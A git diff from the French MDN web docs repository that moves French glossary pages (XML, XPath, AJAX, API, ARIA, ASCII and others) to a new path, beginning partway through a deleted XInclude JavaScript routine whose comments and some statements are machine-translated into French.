-                            var patternXML = /\.(svg|xml|xul|rdf|xhtml)$/;
-                            if ((contentType && contentType.match(/[text|application]\/(.*)\+?xml/)) || (href.indexOf('file://') === 0 && href.match(patternXML))) {
-                                /* Saisissez la réponse sous forme de texte (voir ci-dessous pour cette routine), puis recherchez le codage dans*/
-                               var encName = '([A-Za-z][A-Za-z0-9._-]*)';
-                               var pattern = new RegExp('^<\\?xml\\s+.*encoding\\s*=\\s*([\'"])'+encName+'\\1.*\\?>'); // Vérifiez le document si non ?
-                               // Laisser la demande être traitée ci-dessous
-                            }
-                            else {
-                                if (encoding === '' || encoding === null) { // Encoding n'a pas d'effet en XML
-                                    encoding = 'utf-8';
-                                }
-                                request.overrideMimeType('text/plain; charset='+encoding); //'x-user-defined'
-                            }
-                            responseType = 'responseText';
-                            break;
-                        case null:
-                        case 'xml':
-                            responseType = 'responseXML';
-                            break;
-                        default:
-                            alert('L'élément XInclude contient une valeur d'attribut "parse" non valide');
-                            retourne false (faux);
-                            break;
-                    }
-                    request.send(null);
-                    if((request.status === 200 || request.status === 0) && request[responseType] !== null) {
-                        response = request[responseType];
-                         if (responseType === 'responseXML') {
-                            // applique xpointer (seul le sous-ensemble xpath1 () est supporté)
-                            var responseNodes;
-                            if (xpointer) {
-                                var xpathResult = response.evaluate(
-                                                                 xpointer,
-                                                                 response,
-                                                                 null,
-                                                                 XPathResult.ORDERED_NODE_SNAPSHOT_TYPE,
-                                                                 null
-                                                              );
-                                var a = [];
-                                for(var k = 0; k < xpathResult.snapshotLength; k++) {
-                                a[k] = xpathResult.snapshotItem(k);
-                                }
-                                responseNodes = a;
-                            }
-                            else { // sinon, la réponse doit être un seul document bien formé
-                                responseNodes = [response.documentElement]; // Mettre en tableau peut donc être traité de la même manière que ci-dessus
-                            }
-                            // PRÉPENDRE TOUT(S) NŒUD(S) (EN XML) PUIS SUPPRIMER XINCLUDE
-                            for (j=0; j < responseNodes.length ; j++) {
-                                xincludeParent.insertBefore(responseNodes[j], xinclude);
-                            }
-                            xincludeParent.removeChild(xinclude);
-                         }
-                         else if (responseType === 'responseText') {
-                             if (encName) {
-                                  var encodingType = response.match(pattern);
-                                  if (encodingType) {
-                                      encodingType = encodingType[2];
-                                  }
-                                  else {
-                                      encodingType = 'utf-8';
-                                  }
-                                  // Besoin de faire une toute nouvelle demande, apparemment ici il ne peut pas convertir l'encodage après l'avoir reçu (pour savoir ce que l'encodage était)
-                                  var request2 = new XMLHttpRequest();
-                                  request2.overrideMimeType('text/plain; charset='+encodingType);
-                                  request2.open('GET', href, false);
-                                  request2.setRequestHeader('If-Modified-Since', 'Thu, 1 Jan 1970 00:00:00 GMT');
-                                  request2.setRequestHeader('Cache-Control', 'no-cache');
-                                  request2.send(null);
-                                  response = request2[responseType]; // Mettre à jour la réponse pour le traitement}
-
-                             // REMPLACER XINCLUDE AVEC LA RÉPONSE TEXTE
-                             var textNode = docu.createTextNode(response);                             xincludeParent.replaceChild(textNode, xinclude);
-                         }
-
-                        // remplacer xinclude dans doc avec la réponse maintenant (en texte brut ou en XML)}
-                }
-            }
-            catch (e) { // Utiliser xi:fallback si la récupération d'XInclude a échoué ci-dessus
-                var xiFallbackChildren = xiFallback.childNodes;
-                // PRÉPENDRE TOUT NŒUD (S) PUIS SUPPRIMER XINCLUDE
-                for (j=0; j < xiFallbackChildren.length ; j++) {
-                    xincludeParent.insertBefore(xiFallbackChildren[j], xinclude);
-                }
-                xincludeParent.removeChild(xinclude);
-            }
-        }
-    }
-    return docu;
-}
-
diff --git a/files/fr/glossaire/xlink/index.html b/files/fr/glossaire/xlink/index.html deleted file mode 100644 index 72e306840f..0000000000 --- a/files/fr/glossaire/xlink/index.html +++ /dev/null @@ -1,30 +0,0 @@ ---- -title: XLink -slug: Glossaire/XLink -tags: - - Encodage - - Glossaire -translation_of: Glossary/XLink ---- -

XLink est un standard du W3C qui sert à décrire des liens entre documents XML ou entre XML et d'autres documents. Un certain nombre de ses comportements est laissé à l'implémentation qui détermine comment ils doivent être gérés.

- -

Des XLinks simples sont "pris en charge" dans Firefox (au moins dans SVG et MathML), bien qu'ils ne fonctionnent pas comme des liens dans le cas où un document XML brut avec des XLinks est chargé et qu'une tentative est faite pour cliquer sur des points particuliers de l'arborescence XML.

- -

Pour ceux qui ont trouvé XLink 1.0 lourd pour les liens normaux, XLink 1.1 supprime la nécessité de spécifier xlink:type="simple" pour les liens simples.

- -

XLink est utilisé dans SVG, MathML et d'autres standards importants.

- -

Spécification

- - - -

Voir aussi

- - diff --git a/files/fr/glossaire/xml/index.html b/files/fr/glossaire/xml/index.html deleted file mode 100644 index 968f32d1da..0000000000 --- a/files/fr/glossaire/xml/index.html +++ /dev/null @@ -1,20 +0,0 @@ ---- -title: XML -slug: Glossaire/XML -tags: - - Encodage - - Glossaire - - XML -translation_of: Glossary/XML ---- -

eXtensible Markup Language (XML) est un langage de balisage générique définit par le W3C. Le secteur IT utilise de nombreux langages basés sur XML comme langages de description de données.

- -

Les balises XML ressemblent aux balises HTML, mais XML est beaucoup plus flexible car il laisse l'utilisateur définir ses propres balises. De cette manière, XML se comporte comme un méta-langage, c'est-à-dire un langage utilisé pour définir d'autres langages, tels que {{Glossary("RSS")}}. De plus, HTML est un langage de présentation, alors que XML est un langage de description de données. Cela signifie que XML est ouvert à un éventail d'applications bien plus large que le seul Web. Par exemple, des services Web peuvent utiliser XML pour échanger des requêtes et des réponses.

- -

Pour en savoir plus

- -

Apprendre sur ce sujet

- - diff --git a/files/fr/glossaire/xpath/index.html b/files/fr/glossaire/xpath/index.html deleted file mode 100644 index 139f84a6aa..0000000000 --- a/files/fr/glossaire/xpath/index.html +++ /dev/null @@ -1,27 +0,0 @@ ---- -title: XPath -slug: Glossaire/XPath -tags: - - Encodage - - Glossaire - - XML - - XPath -translation_of: Glossary/XPath ---- -

XPath est un langage de requêtes permettant d'accéder aux sections et contenus d'un document {{glossary("XML")}}.

- -

Pour approfondir

- -

Référence technique

- - - -

Culture générale

- - diff --git a/files/fr/glossaire/xquery/index.html b/files/fr/glossaire/xquery/index.html deleted file mode 100644 index b1406fcacf..0000000000 --- a/files/fr/glossaire/xquery/index.html +++ /dev/null @@ -1,26 +0,0 @@ ---- -title: XQuery -slug: Glossaire/XQuery -tags: - - Encodage - - Glossaire - - XML - - XQuery -translation_of: Glossary/XQuery ---- -

XQuery est un langage informatique pour mettre à jour, récupérer, et effectuer des calculs sur les données de bases de données {{glossary("XML")}}.

- -

Pour approfondir

- -

Culture générale

- - - -

Référence technique

- - diff --git a/files/fr/glossaire/xslt/index.html b/files/fr/glossaire/xslt/index.html deleted file mode 100644 index 8ff8914bb5..0000000000 --- a/files/fr/glossaire/xslt/index.html +++ /dev/null @@ -1,22 +0,0 @@ ---- -title: XSLT -slug: Glossaire/XSLT -tags: - - CodingScripting - - Glossaire - - XML - - XSLT -translation_of: Glossary/XSLT ---- -

eXtensible Stylesheet Language Transformations (XSLT) est un langage déclaratif utilisé pour convertir des documents {{Glossary("XML")}} en d'autres documents XML, {{Glossary("HTML")}}, {{Glossary("PDF")}}, text brut etc.

- -

XSLT possède son propre processeur qui accepte du XML en entrée, ou tout autre format qui peut être converti en XDM (XQuery and XPath Data Model). Le processeur XSLT génère un nouveau document basé sur le document XML et sur une feuille de styles XSLT, mais n'apporte aucune modification aux fichiers originaux pendant le processus.

- -

Pour approfondir

- -

Référence technique

- - diff --git a/files/fr/glossaire/zones_de_grille/index.html b/files/fr/glossaire/zones_de_grille/index.html deleted file mode 100644 index 9f736eca86..0000000000 --- a/files/fr/glossaire/zones_de_grille/index.html +++ /dev/null @@ -1,82 +0,0 @@ ---- -title: Zone de grille -slug: Glossaire/Zones_de_grille -tags: - - CSS - - Glossaire - - Grilles -translation_of: Glossary/Grid_Areas ---- -

Une zone de grille est une {{glossary("grid cell","cellule de grille")}}  ou plus, qui constitue une zone rectangulaire sur la grille. Les zones de grille sont créées lorsque vous placez un élément en utilisant le  placement de la ligne de base ou lors de la définition des zones par l'utilisation de zones de grille nommées.

- -

Image showing a highlighted grid area

- -

Les zones de grille doivent être de nature rectangulaire ; il n'est pas possible de créer, par exemple, une zone de grille en forme de T ou de L.

- -

Dans l'exemple ci-dessous, nous avons un conteneur de grille avec deux éléments de grille nommés à l'aide de la propriété {{cssxref("grid-area")}}  et mis sur la grille en utilisant {{cssxref("grid-template-areas")}}. Cela crée deux zones de grille, l'une couvrant quatre cellules de la grille, et deux autres d'une seule cellule.

- -
- - -
.wrapper {
-  display: grid;
-  grid-template-columns: repeat(3,1fr);
-  grid-template-rows: 100px 100px;
-  grid-template-areas:
-    "a a b"
-    "a a b";
-}
-.item1 {
-  grid-area: a;
-}
-.item2 {
-  grid-area: b;
-}
-
- -
<div class="wrapper">
-   <div class="item1">Item</div>
-   <div class="item2">Item</div>
-</div>
-
- -

{{ EmbedLiveSample('example_1', '300', '280') }}

-
- -

En apprendre plus

- -

Références de propriété

- -
    -
  • {{cssxref("grid-template-columns")}}
    • -
  • {{cssxref("grid-template-rows")}}
    • -
  • {{cssxref("grid-auto-rows")}}
    • -
  • {{cssxref("grid-auto-columns")}}
    • -
  • {{cssxref("grid-template-areas")}}
    • -
  • {{cssxref("grid-area")}}
    • -
- -

En lire plus

- - diff --git "a/files/fr/glossaire/\303\251l\303\251ment/index.html" "b/files/fr/glossaire/\303\251l\303\251ment/index.html" deleted file mode 100644 index 4d196f600e..0000000000 --- "a/files/fr/glossaire/\303\251l\303\251ment/index.html" +++ /dev/null @@ -1,20 +0,0 @@ ---- -title: Élément -slug: Glossaire/Élément -tags: - - Glossaire - - HTML -translation_of: Glossary/Element ---- -

Un élément est une partie d'une page web. En {{glossary("XML")}} et {{glossary("HTML")}}, un élément peut contenir une donnée, un morceau de texte ou une image, ou même parfois ne rien contenir du tout. Un élément est typiquement constitué d'une balise ouvrante ayant quelques attributs, du contenu textuel et d'une balise fermante.
- Example: in <p class="nice">Hello world!</p>, '<p class="nice">' is an opening tag, 'class="nice"' is an attribute and its value, 'Hello world!' is enclosed text content, and '</p>' is a closing tag.

- -

Les éléments et les balises ne sont pas la même chose. Les balises commencent ou clôturent un élément dans le code source, alors que les éléments font partie du {{glossary("DOM")}}, le document qui sert de modèle pour afficher la page dans le {{glossary("browser","navigateur")}}.

- -

En savoir plus

- - diff --git "a/files/fr/glossaire/\303\251l\303\251ments_supports_de_script/index.html" "b/files/fr/glossaire/\303\251l\303\251ments_supports_de_script/index.html" deleted file mode 100644 index 2b76edd03c..0000000000 --- "a/files/fr/glossaire/\303\251l\303\251ments_supports_de_script/index.html" +++ /dev/null @@ -1,17 +0,0 @@ ---- -title: Éléments supports de script -slug: Glossaire/Éléments_supports_de_script -tags: - - Contenus - - Glossaire - - HTML - - scripts -translation_of: Glossary/Script-supporting_element ---- -

Dans un document {{Glossary("HTML")}}, script-supporting elements (éléments supports de scripts) sont les éléments qui ne contribuent pas directement à l'apparence ou à la disposition de la page ; à la place, ce sont soit des scripts, soit des informations qui ne sont utilisées que par les scripts. Ces éléments peuvent être importants, mais n'affectent pas la page affichée à moins que les scripts de la page ne les y incitent explicitement.

- -

Il n'y a que deux éléments supports de scripts : {{HTMLElement("script")}} et {{HTMLElement("template")}}.

- -

Référence technique

- -

Pour en apprendre plus, voir {{SectionOnPage("/fr/docs/Web/HTML/Catégorie_de_contenu","Éléments supports de script")}}.

diff --git "a/files/fr/glossaire/\303\251v\303\250nement/index.html" "b/files/fr/glossaire/\303\251v\303\250nement/index.html" deleted file mode 100644 index 7d0f247c38..0000000000 --- "a/files/fr/glossaire/\303\251v\303\250nement/index.html" +++ /dev/null @@ -1,26 +0,0 @@ ---- -title: Évènement -slug: Glossaire/évènement -tags: - - DOM - - Encodage - - Glossaire - - évènements -translation_of: Glossary/event ---- -

Les évèhements sont des éléments actifs générés par les éléments DOM qui peuvent être manipulés par un code Javascript.

- -

En apprendre plus

- -

Référence technique

- - - -

Culture générale

- -
    -
  • Site web officiel (en)
    • -
  • {{Interwiki("wikipedia","Document_Object_Model#Événements")}} sur Wikipedia
    • -
diff --git a/files/fr/glossary/404/index.html b/files/fr/glossary/404/index.html new file mode 100644 index 0000000000..53408ae513 --- /dev/null +++ b/files/fr/glossary/404/index.html @@ -0,0 +1,19 @@ +--- +title: '404' +slug: Glossaire/404 +tags: + - Erreurs + - Glossaire + - HTTP + - Infrastructure + - Navigation +translation_of: Glossary/404 +--- +

Une erreur 404 est un code de réponse standard indiquant que la ressource demandée ne peut être trouvée par le {{Glossary("Server", "serveur")}}.

+ +

En apprendre plus

+ + diff --git a/files/fr/glossary/502/index.html b/files/fr/glossary/502/index.html new file mode 100644 index 0000000000..09cea4e3ff --- /dev/null +++ b/files/fr/glossary/502/index.html @@ -0,0 +1,17 @@ +--- +title: '502' +slug: Glossaire/502 +tags: + - '502' + - Erreurs + - Glossaire + - HTTP + - Infrastructure + - Navigation +translation_of: Glossary/502 +--- +

Le code erreur {{Glossary("HTTP")}} correspond à « Bad Gateway ».

+ +

Un {{Glossary("Server", "serveur")}} peut agir en tant que passerelle ou proxy (intermédiaire) entre un client (comme votre navigateur internet) et un serveur distant. Quand vous faites une requête pour accéder à une {{Glossary("URL")}}, le serveur passerelle va relayer votre demande au serveur distant. Le code erreur "502" signifie que le serveur distant a retourné une réponse invalide.

+ +

En temps normal, le serveur distant peut répondre (c'est-à-dire qu'il a la possibilité de fournir une réponse à la passerelle/proxy), mais ne supporte pas le même protocole d'échange de données que la passerelle/proxy. Le {{Glossary("Protocol", "protocole")}} internet est sans équivoque et le code erreur 502 est généralement utilisé quand l'une des deux machines est incorrectement ou incomplètement configurée.

diff --git a/files/fr/glossary/abstraction/index.html b/files/fr/glossary/abstraction/index.html new file mode 100644 index 0000000000..445d226c79 --- /dev/null +++ b/files/fr/glossary/abstraction/index.html @@ -0,0 +1,21 @@ +--- +title: Abstraction +slug: Glossaire/Abstraction +tags: + - Abstraction + - Codage + - Code + - Encodage + - Glossaire + - Langage de programmation +translation_of: Glossary/Abstraction +--- +

L'Abstraction dans le domaine de la {{Glossary("Computer programming","programmation informatique")}} permet de réduire la complexité et d'obtenir une conception et une implémentation plus efficaces dans les systèmes logiciels complexes. Elle dissimule les complexités techniques des systèmes derrière des {{Glossary("API")}} plus simples à manipuler.

+ +

Pour approfondir

+ +

Culture générale

+ +
    +
  • {{interwiki("wikipedia", "Abstraction_(informatique)", "Abstraction")}} sur Wikipédia.
    • +
diff --git a/files/fr/glossary/accessibility/index.html b/files/fr/glossary/accessibility/index.html new file mode 100644 index 0000000000..e28c48eb63 --- /dev/null +++ b/files/fr/glossary/accessibility/index.html @@ -0,0 +1,26 @@ +--- +title: Accessibilité +slug: Glossaire/Accessibilité +tags: + - Accessibilité + - Glossaire +translation_of: Glossary/Accessibility +--- +

L'Accessibilité du web (A11Y) correspond aux bonnes pratiques assurant qu'un site web reste utilisable indépendamment des conditions de navigation et possibles handicaps de l'utilisateur. L'accessibilité du web est définie formellement et discutée au {{Glossary("W3C")}} au travers de la {{Glossary("WAI","Web Accessibility Initiative")}} (WAI).

+ +

Pour approfondir

+ +

Culture générale

+ + + +

Informations techniques

+ + diff --git a/files/fr/glossary/adobe_flash/index.html b/files/fr/glossary/adobe_flash/index.html new file mode 100644 index 0000000000..f84dd907f9 --- /dev/null +++ b/files/fr/glossary/adobe_flash/index.html @@ -0,0 +1,20 @@ +--- +title: Adobe Flash +slug: Glossaire/Adobe_Flash +tags: + - Flash + - Glossaire + - Infrastructure +translation_of: Glossary/Adobe_Flash +--- +

Adobe Flash est une technologie obsolescente, développée par Adobe Systems, qui permet de créer des applications internet riches, des graphiques vectoriels et des applications multimédias. Pour utiliser Flash au sein d'un {{Glossary("Browser","navigateur web")}}, vous devez installer le plugin adéquat.

+ +

Pour approfondir

+ +

Culture générale

+ + diff --git a/files/fr/glossary/ajax/index.html b/files/fr/glossary/ajax/index.html new file mode 100644 index 0000000000..eeaeb2a0bf --- /dev/null +++ b/files/fr/glossary/ajax/index.html @@ -0,0 +1,35 @@ +--- +title: AJAX +slug: Glossaire/AJAX +tags: + - AJAX + - CodingScripting + - Encodage + - Glossaire + - Infrastructure + - 'l10n:priority' +translation_of: Glossary/AJAX +--- +

Le {{Glossary("JavaScript")}} et {{Glossary("XML")}} asynchrone (AJAX) est une pratique de programmation qui consiste à construire des pages web plus complexes et plus dynamiques en utilisant une technologie connue sous le nom de {{Glossary("XHR_(XMLHttpRequest)", "XMLHttpRequest")}}.

+ +

AJAX vous permet de mettre à jour simplement des parties du {{Glossary("DOM")}} d'une page web {{Glossary("HTML")}} au lieu de devoir recharger la page entière. AJAX vous permet également de travailler de manière asynchrone, c'est-à-dire que votre code continue à s'exécuter pendant que la partie de votre page web essaie de se recharger (par opposition à la méthode synchrone qui bloque l'exécution de votre code jusqu'à ce que la partie de votre page web ait fini de se recharger).

+ +

Avec les sites web interactifs et les standards modernes du web, AJAX est progressivement remplacé par des fonctions dans les cadres JavaScript et l'API standard officielle {{domxref("Fetch API")}}.

+ + diff --git a/files/fr/glossary/algorithm/index.html b/files/fr/glossary/algorithm/index.html new file mode 100644 index 0000000000..97d46b25c5 --- /dev/null +++ b/files/fr/glossary/algorithm/index.html @@ -0,0 +1,8 @@ +--- +title: Algorithme +slug: Glossaire/Algorithme +tags: + - Glossaire +translation_of: Glossary/Algorithm +--- +

Un algorithme est une série d'instructions indépendantes qui exécutent une fonction.

diff --git a/files/fr/glossary/alignment_container/index.html b/files/fr/glossary/alignment_container/index.html new file mode 100644 index 0000000000..6b35b6371c --- /dev/null +++ b/files/fr/glossary/alignment_container/index.html @@ -0,0 +1,19 @@ +--- +title: Alignment container +slug: Glossaire/Alignment_Container +tags: + - Alignement + - CSS + - Glossaire + - bloc d'alignement +translation_of: Glossary/Alignment_Container +--- +

Le bloc d'alignement est le rectangle avec lequel le sujet d'alignement est aligné. Cela est défini par le mode de disposition ; généralement, le bloc d'alignement contient le sujet d'alignement et il adopte le mode d'ecriture de la boîte qui établit le bloc conteneur.

+ +

 

+ +

]En savoir plus

+ + diff --git a/files/fr/glossary/alignment_subject/index.html b/files/fr/glossary/alignment_subject/index.html new file mode 100644 index 0000000000..3289d952b2 --- /dev/null +++ b/files/fr/glossary/alignment_subject/index.html @@ -0,0 +1,28 @@ +--- +title: Alignment subject +slug: Glossaire/Alignment_Subject +translation_of: Glossary/Alignment_Subject +--- +

Dans le CSS Box Alignment (alignement des boîtes en CSS) l'alignment subject (le sujet de l'alignement) est la ou les choses alignées par la propriété.

+ +

Pour {{cssxref("justify-self")}} et {{cssxref("align-self")}}, l'alignment subject est la marge de la boite sur laquelle la propriété est définie, en utilisant le mode d'écriture de cette zone.

+ +

Pour {{cssxref("justify-content")}} et {{cssxref("align-content")}}, le mode d'écriture de la boîte est également utilisé. La définition du sujet de l'alignement dépend du mode de mise en page utilisé.

+ +
+
Conteneurs de bloc (comprenant les cellules de tableau)
+
L'ensemble du contenu du bloc en une seule unité.
+
Conteneurs multi-colonne
+
Les boites de colonne, avec tout espacement inséré entre les boites de colonne ajoutées aux espaces de colonne appropriés.
+
Conteneurs flex
+
Pour {{cssxref("justify-content")}}, les éléments flexibles dans chaque ligne de flexible.
+ Pour {{cssxref("align-content")}}, les lignes flexibles. Notez que cela n’a d’effet que sur les conteneurs flexibles multilignes.
+
Conteneurs grid
+
La grille suit l’axe approprié, avec tout espacement inséré entre les pistes ajoutées aux gouttières correspondantes. Les gouttières fusionnées sont traitées comme une seule opportunité d'insertion d'espace.
+
+ +

Learn more

+ + diff --git a/files/fr/glossary/alpn/index.html b/files/fr/glossary/alpn/index.html new file mode 100644 index 0000000000..5a834ce08e --- /dev/null +++ b/files/fr/glossary/alpn/index.html @@ -0,0 +1,61 @@ +--- +title: ALPN +slug: Glossaire/ALPN +tags: + - ALPN + - Brouillon + - Glossaire + - NeedsContent + - TLS +translation_of: Glossary/ALPN +--- +

Application-Layer {{Glossary("Protocol")}} Negotiation (ALPN) est une extension {{Glossary("TLS")}} qui indique quel protocole de couche d'application négocie la connexion chiffrée sans nécessiter d'aller-retour supplémentaires.

+ + + + + + + + + + + + + + + + + + + + + + + +
Identificateurs de protocole importants:
ProtocoleSéquence d'identification
{{Glossary("HTTP")}}/1.10x68 0x74 0x74 0x70 0x2F 0x31 0x2E 0x31 ("http/1.1")
{{Glossary("HTTP 2", "HTTP/2")}}0x68 0x32 ("h2")
HTTP/2 over cleartext {{Glossary("TCP")}}0x68 0x32 0x63 ("h2c")
+ +

Spécifications

+ + + + + + + + + + + + + + + + +
SpécificationStatutCommentaire
{{RFC(7301)}}IETF RFCDéfinition initiale.
+ +

Voir aussi

+ + diff --git a/files/fr/glossary/api/index.html b/files/fr/glossary/api/index.html new file mode 100644 index 0000000000..5a06119821 --- /dev/null +++ b/files/fr/glossary/api/index.html @@ -0,0 +1,36 @@ +--- +title: API +slug: Glossaire/API +tags: + - Encodage + - Glossaire + - Infrastructure +translation_of: Glossary/API +--- +

Une API (Application Programming Interface) est un ensemble de fonctionnalités et de règles existant dans un logiciel permettant d'intéragir avec celui-ci de manière automatisée (plutôt que de passer par une interface utilisateur). L'API peut être vue comme un contrat simple passé entre le logiciel qui la propose et d'autres entités, telles que des logiciels ou matériels tiers.

+ +

En développement web, une API est généralement un ensemble de fonctionnalités (par exemple : {{glossary("method","méthodes")}}, {{Glossary("property","propriétés")}}, évènements et {{Glossary("URL")}}) qu'un développeur peut utiliser dans son application pour les interactions avec les composants du navigateur de l'utilisateur, ou avec d'autres logiciels/matériels de l'ordinateur de l'utilisateur, ou avec des sites web et services tiers.

+ +

Par exemple :

+ +

L'API getUserMedia peut être utilisée pour capturer l'audio et la vidéo de la webcam d'un utilisateur, pour ensuite en faire ce que le développeur souhaite comme par exemple les enregistrer, les diffuser à un autre utilisateur lors d'une conférence téléphonique ou capturer des clichés à partir de la vidéo.

+ +

L' API Geolocation peut être utilisée pour récupérer des informations de localisation à partir de n'importe quel service disponible sur les appareils d'un utilisateur (GPS par exemple), qui peuvent ensuite être utilisées conjointement avec l'API Google Maps pour par exemple tracer la position géographique de l'utilisateur sur une carte personnalisée et lui montrer les attractions touristiques proches de lui.

+ +

L' API Twitter peut être utilisée pour récupérer les données d'un compte utilisateur Twitter, par exemple pour afficher ses derniers tweets sur une page web.

+ +

L' API Web Animations peut être utilisée pour animer des parties d'une page web, par exemple pour faire bouger ou pivoter des images.

+ +

Pour approfondir

+ +

Culture générale

+ +
    +
  • {{Interwiki("wikipedia", "Application_programming_interface", "API")}} sur Wikipedia
    • +
+ +

Référence technique

+ +
    +
  • API sur MDN
    • +
diff --git a/files/fr/glossary/apple_safari/index.html b/files/fr/glossary/apple_safari/index.html new file mode 100644 index 0000000000..d251f8f9b6 --- /dev/null +++ b/files/fr/glossary/apple_safari/index.html @@ -0,0 +1,26 @@ +--- +title: Apple Safari +slug: Glossaire/Apple_Safari +tags: + - Glossaire + - Mécaniques web + - Navigation +translation_of: Glossary/Apple_Safari +--- +

Safari est un {{Glossary("Browser","navigateur web")}} développé par la société Apple. Il est installé de base sur les systèmes d'exploitation OS X et iOS.

+ +

Pour approfondir

+ +

Culture générale

+ +
    +
  • {{Interwiki("wikipedia", "Safari_(navigateur_web)", "Safari")}} sur Wikipédia
    • +
  • Safari sur le site d'Apple
    • +
+ +

Informations techniques

+ + diff --git a/files/fr/glossary/application_context/index.html b/files/fr/glossary/application_context/index.html new file mode 100644 index 0000000000..e74d2ac173 --- /dev/null +++ b/files/fr/glossary/application_context/index.html @@ -0,0 +1,13 @@ +--- +title: Contexte d'application +slug: Glossaire/application_context +tags: + - Glossaire + - scripts +translation_of: Glossary/application_context +--- +

Un contexte d'application est un contexte de navigation de haut niveau lié à un manifeste.

+ +

Le contexte d'application peut être créé suite à une requête à l'agent utilisateur visant à naviguer vers un lien en profondeur. Dans ce cas, l'agent utilisateur doit immédiatement naviguer vers le lien en profondeur avec l'option de remplacement (replacement) activée. Autrement, quand le contexte d'application est créé, l'agent utilisateur doit immédiatement naviguer vers l'URL de départ avec cette même option activée.

+ +

Attention, l'URL de départ n'est pas nécessairement la valeur du membre start_url : l'utilisateur ou l'agent utilisateur pourraient l'avoir modifié lorsque l'application a été ajoutée à l'écran d'accueil ou mise en favoris.

diff --git a/files/fr/glossary/argument/index.html b/files/fr/glossary/argument/index.html new file mode 100644 index 0000000000..dbc1c746c8 --- /dev/null +++ b/files/fr/glossary/argument/index.html @@ -0,0 +1,24 @@ +--- +title: Argument +slug: Glossaire/Argument +tags: + - Encodage + - Glossaire + - JavaScript +translation_of: Glossary/Argument +--- +

Un argument est une {{Glossary("Value","valeur")}}  ({{Glossary("Primitive", "primitive")}} ou {{Glossary("Object", "objet")}}) passée en tant qu'entrée à une {{Glossary("Function", "fonction")}}.

+ +

Pour approfondir

+ +

Culture générale

+ +
    +
  • {{Interwiki("wikipedia", "Argument_(informatique)", "Argument")}} sur Wikipédia
    • +
+ +

Informations techniques

+ +
    +
  • L'objet {{jsxref("Fonctions/arguments","arguments")}} en {{Glossary("JavaScript")}}
    • +
diff --git a/files/fr/glossary/aria/index.html b/files/fr/glossary/aria/index.html new file mode 100644 index 0000000000..ca7c89c670 --- /dev/null +++ b/files/fr/glossary/aria/index.html @@ -0,0 +1,17 @@ +--- +title: ARIA +slug: Glossaire/ARIA +tags: + - Accessibilité + - Glossaire +translation_of: Glossary/ARIA +--- +

ARIA (Accessible Rich {{glossary("Internet")}} Applications) est une spécification technique du {{Glossary("W3C")}}. ARIA décrit comment ajouter de la sémantique et d'autres métadonnées à du contenu {{Glossary("HTML")}} dans le but de répondre aux besoins des technologies d'assistance.

+ +

Par exemple, vous pouvez ajouter l'attribut  role="alert" à un élément {{HTMLElement("p")}} pour notifier à un utilisateur malvoyant l'importance et l'urgence de l'information (pour un utilisateur sans problème de vue, cette information pourrait être mise en exergue par un texte coloré différemment).

+ +

Pour approfondir

+ + diff --git a/files/fr/glossary/arpa/index.html b/files/fr/glossary/arpa/index.html new file mode 100644 index 0000000000..c16d40da33 --- /dev/null +++ b/files/fr/glossary/arpa/index.html @@ -0,0 +1,18 @@ +--- +title: ARPA +slug: Glossaire/ARPA +tags: + - Glossaire + - Infrastructure +translation_of: Glossary/ARPA +--- +

.arpa (address and routing parameter area) est un {{glossary("TLD","domaine de premier niveau")}} utilisé dans des objectifs relatifs à l'infrastructure d'Internet, en particulier des recherches DNS inverses (c'est-à-dire, trouver le {{glossary( 'domain name' ,'nom de domaine')}} d'une {{glossary( "IP address" ,"adresse IP")}} donnée).

+ +

Pour en savoir plus

+ +

Culture générale

+ + diff --git a/files/fr/glossary/arpanet/index.html b/files/fr/glossary/arpanet/index.html new file mode 100644 index 0000000000..4965ecaf94 --- /dev/null +++ b/files/fr/glossary/arpanet/index.html @@ -0,0 +1,17 @@ +--- +title: Arpanet +slug: Glossaire/Arpanet +tags: + - Glossaire + - Infrastructure +translation_of: Glossary/Arpanet +--- +

ARPAnet (advanced research projects agency network) était l'un des premiers réseaux informatiques, construit en 1969 comme un support robuste pour transmettre des données militaires sensibles et pour relier des groupes à la pointe de la recherche à travers le territoire des États-Unis. ARPAnet utilisait d'abord NCP (network control protocol) puis par la suite la première version de la suite des protocoles Internet ou {{glossary("TCP")}}/{{glossary("IPv6","IP")}}, ce qui a fait d'ARPAnet une partie importante du naissant {{glossary("Internet")}}. ARPAnet a fermé au début des années 90.

+ +

Pour en savoir plus

+ +

Culture générale

+ +
    +
  • {{Interwiki("wikipedia", "Arpanet")}} sur Wikipédia
    • +
diff --git a/files/fr/glossary/array/index.html b/files/fr/glossary/array/index.html new file mode 100644 index 0000000000..0f203e6815 --- /dev/null +++ b/files/fr/glossary/array/index.html @@ -0,0 +1,38 @@ +--- +title: Tableau (Array) +slug: Glossaire/array +tags: + - Encodage + - Glossaire + - JavaScript + - Liste + - Programmation + - Tableau +translation_of: Glossary/array +--- +

En anglais, un array, parfois appelé en français « tableau » ou « liste », est une collection de données ({{Glossary("Primitive","primitives")}} ou {{Glossary("Object","objets")}} selon le langage). Ils sont utilisés pour stocker plusieurs valeurs dans une seule variable. Ceci est comparé à une variable qui ne peut stocker qu'une seule valeur.

+ +

Chaque élément d'un array a un numéro qui lui est associé, appelé index numérique, qui permet d'y accéder. En JavaScript, ils commencent à l'index zéro et peuvent être manipulés avec différentes {{Glossary ("Method","méthodes")}}.

+ +

À quoi ressemble-t-il en JavaScript ?

+ +
var myArray = [1, 2, 3, 4];
+
+var catNamesArray = ["Jacqueline", "Sophia", "Autumn"];
+
+//Des arrays en JavaScript peuvent contenir différents types de données, comme indiqué ci-dessus.
+
+ +

Pour approfondir

+ +

Culture générale

+ +
    +
  • {{Interwiki("wikipedia","Tableau_(structure_de_données)","Array")}} on Wikipedia
    • +
+ +

Informations techniques

+ +
    +
  • {{jsxref("Array")}} en JavaScript sur MDN
    • +
diff --git a/files/fr/glossary/ascii/index.html b/files/fr/glossary/ascii/index.html new file mode 100644 index 0000000000..e758fcac3e --- /dev/null +++ b/files/fr/glossary/ascii/index.html @@ -0,0 +1,15 @@ +--- +title: ASCII +slug: Glossaire/ASCII +tags: + - Glossaire + - Infrastructure +translation_of: Glossary/ASCII +--- +

ASCII (American Standard Code for Information Interchange) est l'une des méthodes d'encodage utilisées par les ordinateurs pour convertir les lettres, les nombres, la ponctuation et les codes de contrôle sous forme numérique. Depuis 2007, l'{{Glossary("UTF-8")}} est privilégié sur internet.

+ +

En savoir plus 

+ +

Connaissance générale

+ +

{{Interwiki("wikipedia", "ASCII")}} sur Wikipedia

